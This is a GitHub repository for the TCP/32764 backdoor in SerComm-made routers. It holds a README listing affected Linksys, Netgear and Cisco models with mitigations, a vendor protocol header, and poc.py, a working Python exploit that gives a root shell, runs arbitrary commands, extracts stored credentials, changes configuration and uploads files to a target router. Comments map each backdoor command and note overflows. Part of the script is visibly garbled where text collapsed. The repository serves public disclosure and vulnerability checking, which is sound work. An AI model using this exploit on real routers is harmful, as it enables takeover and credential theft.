├── LICENSE ├── README.md ├── backdoor_description.pptx ├── backdoor_description_for_those_who_don-t_like_pptx.pdf ├── poc.py └── socket_header.h /LICENSE: -------------------------------------------------------------------------------- 1 | "THE BEER-WARE LICENSE" (Revision 32764): 2 | Eloi Vanderbeken wrote those files. As long as you retain this notice you 3 | can do whatever you want with this stuff. If we meet some day, and you think 4 | this stuff is worth it, you can buy me many beers in return. 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **I WILL NOT MANUALLY UPDATE THIS REPOSITORY ANYMORE** 2 | 3 | If you want to add a router in the list, please make a pull-request, also remember to **USE THE POC** and paste the result in your pull-request. 4 | Telnet clients and other solutions may not be relevant (some false negative / positive reported). 5 | 6 | Some random code/data about the backdoor I found in my Linksys WAG200G (TCP/32764). 7 | 8 | The backdoor may be present in other hardware, I'll update this readme accordingly. :) 9 | 10 | Possible fix : 11 | - if it's listening on the internet: add a firewall rule in the web UI ([@domainzero](https://twitter.com/domainzero/status/419146140999626752)) 12 | - it also seems to work on the LAN side. ([issue 35](https://github.com/elvanderb/TCP-32764/issues/35#issuecomment-31592308)) 13 | - but apparently, not for every body ([issue 57](https://github.com/elvanderb/TCP-32764/issues/57)) so use the PoC again after adding the rule to make sure the firewall does its job. 14 | - install an open source firmware (for example OpenWRT or Tomato) this is NOT magical, OpenWAG200 is vuln: http://sourceforge.net/projects/openwag200/files/OpenWAG200/1.4/ 15 | - kill the backdoor after each reboot ([issue 61](https://github.com/elvanderb/TCP-32764/issues/61) & [TCP-32764-First-Aid](https://github.com/lahdekorpi/TCP-32764-First-Aid/)) 16 | - use this alternative firmware: [amod](http://alfie.altervista.org/amod/) (thank you [pidocchio](https://github.com/elvanderb/TCP-32764/issues/13#issuecomment-32546542) and [nremond](https://github.com/elvanderb/TCP-32764/issues/13#issuecomment-34008200)) 17 | - redirect the port traffic in your router firewall to a local unused IP and done (\[@osisecurite\]) 18 | 19 | Probable source of the backdoor: 20 | - SerComm https://news.ycombinator.com/item?id=6998258 (nice finding :) ) 21 | - Confirmed by a header ([socket_header.h](https://github.com/elvanderb/TCP-32764/blob/master/socket_header.h)) in [cisco gpl sources](ftp://ftp-eng.cisco.com/pub/opensource/smallbusiness/wap4410n/2.0.1.0/wap4410n_v2.0.1.0_gpl.tgz) (thank you Andreas Fett!) 22 | 23 | 24 | Backdoor **LISTENING ON THE INTERNET** confirmed in : 25 | - Linksys WAG120N ([@p_w999](https://twitter.com/p_w999/status/419444989051940864)) 26 | - Netgear DG834B V5.01.14 ([@domainzero](https://twitter.com/domainzero/status/419133964528263169)) 27 | - Netgear DGN2000 1.1.1, 1.1.11.0, 1.3.10.0, 1.3.11.0, 1.3.12.0 ([issue 44](https://github.com/elvanderb/TCP-32764/issues/44)) 28 | - Netgear WPNT834 ([issue 79](https://github.com/elvanderb/TCP-32764/issues/79)) 29 | - OpenWAG200 maybe a little bit TOO open ;) ([issue 49](https://github.com/elvanderb/TCP-32764/issues/49)) 30 | 31 | Backdoor confirmed in: 32 | - Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5 ([issue 57](https://github.com/elvanderb/TCP-32764/issues/57)) 33 | - Cisco WAP4410N ([issue 11](https://github.com/elvanderb/TCP-32764/issues/11#issuecomment-31492435)) 34 | - Cisco WRVS4400N 35 | - Cisco WRVS4400N ([issue 36](https://github.com/elvanderb/TCP-32764/issues/36)) 36 | - Diamond DSL642WLG / SerComm IP806Gx v2 TI (https://news.ycombinator.com/item?id=6998682) 37 | - LevelOne WBR3460B (http://www.securityfocus.com/archive/101/507219/30/0/threaded) 38 | - Linksys RVS4000 Firmware V1.3.3.5 ([issue 55](https://github.com/elvanderb/TCP-32764/issues/55)) 39 | - Linksys WAG120N ([issue 58](https://github.com/elvanderb/TCP-32764/issues/58)) 40 | - Linksys WAG160n v1 and v2 ([@xxchinasaurxx](https://twitter.com/xxchinasaurxx/status/418886166700507136) [@saltspork](https://twitter.com/saltspork/status/419450202362097664)) 41 | - Linksys WAG200G 42 | - Linksys WAG320N (http://zaufanatrzeciastrona.pl/post/smieszna-tylna-furtka-w-ruterach-linksysa-i-prawdopodobnie-netgeara/) 43 | - Linksys WAG54G2 ([@_xistence](https://twitter.com/_xistence/status/418616691040350208)) 44 | - Linksys WAG54GS ([@henkka7](https://twitter.com/henkka7/status/419210405399912448)) 45 | - Linksys WRT350N v2 fw 2.00.19 ([issue 39](https://github.com/elvanderb/TCP-32764/issues/39)) 46 | - Linksys WRT300N fw 2.00.17 ([issue 34](https://github.com/elvanderb/TCP-32764/issues/34)) 47 | - Netgear DG834[∅, GB, N, PN, GT] version < 5 ([issue 19](https://github.com/elvanderb/TCP-32764/issues/19) & [issue 25](https://github.com/elvanderb/TCP-32764/issues/25) & [issue 62](https://github.com/elvanderb/TCP-32764/issues/62) & jd & Burn2 Dev) 48 | - Netgear DGN1000 (don't know if there is a difference with the others N150 ones... [issue 27](https://github.com/elvanderb/TCP-32764/issues/27)) 49 | - Netgear DGN1000[B] N150 ([issue 3](https://github.com/elvanderb/TCP-32764/issues/3)) 50 | - Netgear DGN2000B ([issue 26](https://github.com/elvanderb/TCP-32764/issues/26)) 51 | - Netgear DGN3500 ([issue 13](https://github.com/elvanderb/TCP-32764/issues/13)) 52 | - Netgear DGND3300 ([issue 56](https://github.com/elvanderb/TCP-32764/issues/56)) 53 | - Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR ([issue 59](https://github.com/elvanderb/TCP-32764/issues/59)) 54 | - Netgear DM111Pv2 ([@eguaj](https://twitter.com/eguaj/status/418143024019816448)) 55 | - Netgear JNR3210 ([issue 37](https://github.com/elvanderb/TCP-32764/issues/37)) 56 | 57 | Backdoor may be present in: 58 | - all SerComm manufactured devices (https://news.ycombinator.com/item?id=6998258) 59 | - Linksys WAG160N (http://zaufanatrzeciastrona.pl/post/smieszna-tylna-furtka-w-ruterach-linksysa-i-prawdopodobnie-netgeara/) 60 | - Netgear DG934 probability: probability: 99.99% (http://codeinsecurity.wordpress.com/category/reverse-engineering/) 61 | - Netgear WG602, WGR614 (v3 doesn't work, maybe others...) (http://zaufanatrzeciastrona.pl/post/smieszna-tylna-furtka-w-ruterach-linksysa-i-prawdopodobnie-netgeara/) 62 | 63 | Backdoor is not working in: 64 | - Belkin F5D7230-4 6000 (SerComm manufactured product) ([issue 51](https://github.com/elvanderb/TCP-32764/issues/51)) 65 | - Belkin F9K1002 v3 (SerComm manufactured product) 66 | - Cisco E2000 fwv 1.0.02 ([issue 17](https://github.com/elvanderb/TCP-32764/issues/17)) 67 | - Cisco Linksys E4200 V1 fwv 1.0.05 ([issue 18](https://github.com/elvanderb/TCP-32764/issues/18)) 68 | - Cisco Linksys X2000 ([issue 40](https://github.com/elvanderb/TCP-32764/issues/40)) 69 | - Cisco EPC3925 70 | - Cisco RV082 v03 fw4.2.2.08 ([issue 94](https://github.com/elvanderb/TCP-32764/issues/94)) 71 | - Linksys E2500 ([@Antoniojojojo](https://twitter.com/Antoniojojojo/status/419493174227529728)) 72 | - Linksys E3000 fwv 1.0.04 ([issue 16](https://github.com/elvanderb/TCP-32764/issues/16)) 73 | - Linksys E3200 Firmware Version: 1.0.04 (Build 1) 74 | - Linksys E4200 Firmware Version: 2.0.26 ([issue 53](https://github.com/elvanderb/TCP-32764/issues/53)) 75 | - Linksys RV082 v02 fw2.0.2.01-tm ([issue 94](https://github.com/elvanderb/TCP-32764/issues/94)) 76 | - Linksys WAG354G V.2 EU ([issue 69](https://github.com/elvanderb/TCP-32764/issues/69)) 77 | - Linksys WRT100 fwv 1.0.00 ([Issue 71](https://github.com/elvanderb/TCP-32764/issues/71)) 78 | - Linksys WRT110 fwv 1.0.07 ([issue 70](https://github.com/elvanderb/TCP-32764/issues/70)) 79 | - Linksys WRT120N fwv 1.0.07 ([@viniciuskmax](https://twitter.com/viniciuskmax/status/419886554245394432)) 80 | - Linksys WRT160Nv2 ([issue 43](https://github.com/elvanderb/TCP-32764/issues/43)) 81 | - Linksys WRT160Nv3 82 | - Linksys WRT320N ([issue 31](https://github.com/elvanderb/TCP-32764/issues/31)) 83 | - Linksys WRT54GL(v1.1) Firmware v4.30.16 84 | - Linksys WRT54GS v1.52.8 build 001 (thanks Helmut Tessarek) 85 | - Linksys WRT600N running 1.01.36 build 3 ([@shanetheclassic](https://twitter.com/shanetheclassic/status/419213153369485312) & [issue 46](https://github.com/elvanderb/TCP-32764/issues/46)) 86 | - Linksys WRT610N V1 fwv 1.00.03 B15 ([issue 60](https://github.com/elvanderb/TCP-32764/issues/60)) 87 | - Netgear CG3100 ([issue 6](https://github.com/elvanderb/TCP-32764/issues/6)) 88 | - Netgear CG3700EMR as provided by ComHem Sweden ([issue 20](https://github.com/elvanderb/TCP-32764/issues/20)) 89 | - Netgear DG834G v5 (manufactured by Foxconn as opposed to the previous versions, nice finding anthologist [issue 28](https://github.com/elvanderb/TCP-32764/issues/28)) 90 | - Netgear DGN2200Bv3 (V1.1.00.23_1.00.23) ([issue 41](https://github.com/elvanderb/TCP-32764/issues/41)) 91 | - Netgear DGN3500 (amod 9.3.1 based on official 1.1.00.34 - http://alfie.altervista.org/amod) 92 | - Netgear DGND3700 ([issue 33](https://github.com/elvanderb/TCP-32764/issues/33)) 93 | - Netgear DGND4000 (V1.1.00.14_1.00.14) ([issue 67](https://github.com/elvanderb/TCP-32764/issues/67)) 94 | - Netgear ProSafe FVS318G fwv 3.1.1-14 (thank you Jason Leake :) ) 95 | - Netgear R4500 firmware V1.0.0.4_1.0.3 ([issue 64](https://github.com/elvanderb/TCP-32764/issues/64)) 96 | - Netgear R6300 ([issue 15](https://github.com/elvanderb/TCP-32764/issues/15)) 97 | - Netgear R7000 ([@LRFLEW](https://twitter.com/LRFLEW/status/418856141032935424)) 98 | - Netgear RP614v[4,2] V1.0.8_02.02 ([issue 22](https://github.com/elvanderb/TCP-32764/issues/22) & [issue 24](https://github.com/elvanderb/TCP-32764/issues/24)) 99 | - Netgear VMDG480 (aka. VirginMedia SuperHub) swv 2.38.01 ([issue 16](https://github.com/elvanderb/TCP-32764/issues/16)) 100 | - Netgear VMDG485 (aka. VirginMedia SuperHub 2) swv1.01.26 ([issue 16](https://github.com/elvanderb/TCP-32764/issues/16)) 101 | - Netgear WGR614v3 ([issue 8](https://github.com/elvanderb/TCP-32764/issues/8)) 102 | - Netgear WGR614v7 (thanks "Martin from germany" [your e-mail doesn't work]) 103 | - Netgear WGR614v9 ([issue 7](https://github.com/elvanderb/TCP-32764/issues/7)) 104 | - Netgear WN2500RP ([issue 15](https://github.com/elvanderb/TCP-32764/issues/15)) 105 | - Netgear WNDR3700 ([@juliengrenier](https://twitter.com/juliengrenier/status/418748575842304000)) 106 | - Netgear WNDR4000 ([issue 10](https://github.com/elvanderb/TCP-32764/issues/10)) 107 | - Netgear WNDR4500 ([@TechnicalRah](https://twitter.com/TechnicalRah/status/418826996873834496)) 108 | - Netgear WNR2000v3 ([issue 43](https://github.com/elvanderb/TCP-32764/issues/43)) 109 | - Netgear WNR3500L firmware V1.2.2.30_34.0.37 ([issue 65](https://github.com/elvanderb/TCP-32764/issues/65)) 110 | - Netgear WNR3500Lv2 111 | - Sercomm AD81ABA 112 | 113 | Some clarifications: 114 | I didn't want to waste my time in writing a full report, it's a very simple backdoor that really doesn't deserve more than some crappy slides. Moreover, my English is quite bad. 115 | 116 | I had a lot of fun in writing / drawing the slides, all the necessary information is in them. If people don't understand them or find them "too full of meme" then - well - it's too bad for them. :) 117 | -------------------------------------------------------------------------------- /backdoor_description.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/elvanderb/TCP-32764/5e2281f411086bdefdeb8e120fb498ad9620dafa/backdoor_description.pptx -------------------------------------------------------------------------------- /backdoor_description_for_those_who_don-t_like_pptx.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/elvanderb/TCP-32764/5e2281f411086bdefdeb8e120fb498ad9620dafa/backdoor_description_for_those_who_don-t_like_pptx.pdf -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | import struct 4 | import sys 5 | import argparse 6 | import re 7 | 8 | parser = argparse.ArgumentParser(description='PoC for the TCP/32764 backdoor.\n'\ 9 | 'see https://github.com/elvanderb/TCP-32764 for more details') 10 | 11 | parser.add_argument('--ip', type=str, nargs='?', help='routers IP', default='192.168.1.1') 12 | parser.add_argument('--port', type=int, nargs='?', help='port to use', default=32764) 13 | command_group = parser.add_mutually_exclusive_group() 14 | command_group.add_argument('--is_vuln', help='tells you if the router is vulnerable or not (default)', action="store_true") 15 | command_group.add_argument('--shell', help='gives you a root shell on the router', action="store_true") 16 | command_group.add_argument('--execute', type=str, nargs='?', help='run a command and dump straight to stdout', default='') 17 | command_group.add_argument('--print_conf', help='pretty print router\'s configuration', action="store_true") 18 | command_group.add_argument('--get_credentials', help='gets credentials', action="store_true") 19 | command_group.add_argument('--get_var', type=str, nargs='?', metavar='var_name', help='get router\'s configuration variable') 20 | command_group.add_argument('--set_var', type=str, nargs='?', metavar='var_name=val', help='set router\'s configuration variable') 21 | command_group.add_argument('--message', type=int, nargs='?', help='message to send', choices=range(1, 14)) 22 | command_group.add_argument('--send_file', type=str, nargs='?', help='file to send') 23 | command_group.add_argument('--send_file2', type=str, nargs='?', help='file to send, using echo -n -e') 24 | parser.add_argument('--payload', type=str, nargs='?', help='message\'s payload', default='') 25 | parser.add_argument('--timeout', type=int, nargs='?', help='connexion timeout in seconds', default=1) 26 | parser.add_argument('--remote-filename', type=str, nargs='?', help='remote filename in /tmp when copying', default="upload") 27 | 28 | args = parser.parse_args() 29 | 30 | def send_message(s, endianness, message, payload=''): 31 | header = struct.pack(endianness + 'III', 0x53634D4D, message, len(payload)+1) 32 | s.send(header+payload+"\x00") 33 | r = s.recv(0xC) 34 | 35 | while len(r) < 0xC: 36 | tmp = s.recv(0xC - len(r)) 37 | assert len(tmp) != 0 38 | r += tmp 39 | 40 | sig, ret_val, ret_len = struct.unpack(endianness + 'III', r) 41 | assert(sig == 0x53634D4D) 42 | 43 | if ret_val != 0: 44 | return ret_val, "ERROR" 45 | 46 | ret_str = "" 47 | while len(ret_str) < ret_len: 48 | tmp = s.recv(ret_len - len(ret_str)) 49 | assert len(tmp) != 0 50 | ret_str += tmp 51 | 52 | return ret_val, ret_str 53 | 54 | # Big endian or little endian ? 55 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 56 | s.settimeout(args.timeout) 57 | try : 58 | s.connect((args.ip, args.port)) 59 | except socket.error as v: 60 | print("probably not vulnerable (error: {0:s})".format(v)) 61 | sys.exit(0) 62 | 63 | s.send("blablablabla") 64 | r = s.recv(0xC) 65 | while len(r) < 0xC: 66 | tmp = s.recv(0xC - len(r)) 67 | assert len(tmp) != 0 68 | r += tmp 69 | 70 | sig, ret_val, ret_len = struct.unpack('0 and pattern.search(var): 105 | credentials += [[var, value]] 106 | except ValueError: 107 | pass 108 | credentials.sort() 109 | for var, value in credentials: 110 | print("{}:{}".format(var, value)) 111 | elif args.send_file: 112 | with open(args.send_file, "r") as f: 113 | buf = f.read() 114 | msg = args.remote_filename + "\0" + buf 115 | send_message(s, endianness, 8, msg); 116 | elif args.send_file2: 117 | CHUNK = 1024 118 | fdst = "/tmp/" + args.remote_filename 119 | send_message(s, endianness, 7, "rm " + fdst) 120 | with open(args.send_file2, "rb") as f: 121 | while True: 122 | buf = f.read(CHUNK) 123 | if len(buf) == 0: 124 | break 125 | cmd = 'echo -n -e "' + ''.join(map(lambda c: "\\x{:02x}".format(ord(c)), buf))+'"' 126 | cmd += ' >>' + fdst 127 | try: 128 | send_message(s, endianness, 7, cmd) 129 | except socket.timeout: 130 | print("Timeout, reconnect...") 131 | s.close() 132 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 133 | s.settimeout(args.timeout) 134 | s.connect((args.ip, args.port)) 135 | # Get current size 136 | ls = send_message(s, endianness, 7, "ls -l " + fdst) 137 | size = int(re.split('[ \t]+', ls)[4]) 138 | # Let's start from here 139 | print("Seek from %d..." % size) 140 | f.seek(size) 141 | elif args.get_var is not None : 142 | response = send_message(s, endianness, 2, args.get_var)[1].rstrip("\x00") 143 | if len(response) == 0 : 144 | print("{0:s} is not set".format(args.get_var)) 145 | else : 146 | print(response) 147 | elif args.set_var is not None : 148 | r, _ = send_message(s, endianness, 3, args.set_var) 149 | elif args.message is not None : 150 | r, response = send_message(s, endianness, args.message, args.payload) 151 | if r != 0 : 152 | print("Command failed, error code: {0:08X}".format(r)) 153 | elif len(response) != 0 : 154 | print("Command succeed:") 155 | print(response.encode("string_escape")) 156 | else : 157 | print("Command succeed:") 158 | else : 159 | print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port)) 160 | 161 | s.close() 162 | 163 | # Gives the login/pass of your router. Works for Linux for sure. 164 | # python poc.py --get_credentials --ip $(ip route|grep -Eo 'default via ([0-9.]+)'|sed 's/default via //') 165 | 166 | #commands : 167 | # 1 : get infos 168 | # 2 : get var -> possible overflow 169 | # 3 : set var -> buffer overflow 170 | # 4 : commit nvram (read nvram /dev/mtdblock/3 from /tmp/nvram and check CRC) 171 | # 5 : bridge mode ? 172 | # wan_mode=bridgedonly 173 | # wan_encap=0 174 | # wan_vpi=8 175 | # wan_vci=81 176 | # /usr/bin/killall br2684ctl 177 | # /usr/bin/killall udhcpd 178 | # /usr/bin/killall -9 atm_monitor 179 | # /usr/sbin/rc wan stop >/dev/null 2>&1 180 | # /usr/sbin/atm_monitor& 181 | # 6 : show speed 182 | # 7 : cmd 183 | # special commands : 184 | # exit, bye, quit -> quit... (set alive to 0) 185 | # cd : change directory (a little bit WTF) 186 | # other commands : 187 | # integer overflow in stdout handling (?) not exploitable but still ... 188 | # buffer overflow (buffer de 0x10000) 189 | # 190 | # 8 : write file (file name in payload, dir : tmp, directory traversa) 191 | # 9 : print version 192 | #10 : print modem router ip (nvram_get(lan_ipaddr)) 193 | #11 : resaure default settings (nvram_set(restore_default, 1) / nvram_commit) 194 | #12 : read /dev/mtdblock/0 [-4:-2] 195 | #13 : dump nvram on disk (/tmp/nvram) and commit 196 | -------------------------------------------------------------------------------- /socket_header.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2005 SerComm Corporation. All Rights Reserved. 3 | * 4 | * SerComm Corporation reserves the right to make changes to this document 5 | * without notice. SerComm Corporation makes no warranty, representation 6 | * or guarantee regarding the suitability of its products for any 7 | * particular purpose. SerComm Corporation assumes no liability arising 8 | * out of the application or use of any product or circuit. SerComm 9 | * Corporation specifically disclaims any and all liability, including 10 | * without limitation consequential or incidental damages; neither does 11 | * it convey any license under its patent rights, nor the rights of 12 | * others. 13 | */ 14 | /* ScMM */ 15 | #include 16 | #define SCM_MAGIC 0x53634d4d 17 | 18 | #define DEFAULT_REMOTE_IP "192.168.0.1" 19 | #define DEFAULT_REMOTE_PORT 32764 20 | //#define DEFAULT_REMOTE_PORT 12345 21 | 22 | /* header struct*/ 23 | typedef struct scfgmgr_header_s{ 24 | unsigned long magic; 25 | int cmd; 26 | unsigned long len; 27 | } scfgmgr_header; 28 | 29 | enum { 30 | SCFG_WARNING=-2, 31 | SCFG_ERR, 32 | SCFG_OK, 33 | SCFG_GETALL, 34 | SCFG_GET, 35 | SCFG_SET, 36 | SCFG_COMMIT, 37 | SCFG_TEST, 38 | SCFG_ADSL_STATUS, 39 | SCFG_CONSOLE, 40 | SCFG_RECEIVE, 41 | SCFG_VERSION, 42 | SCFG_LOCAL_IP, 43 | SCFG_RESTORE, 44 | SCFG_CHECKSUM, 45 | SCFG_CFG_INIT, 46 | }cmd_type; 47 | --------------------------------------------------------------------------------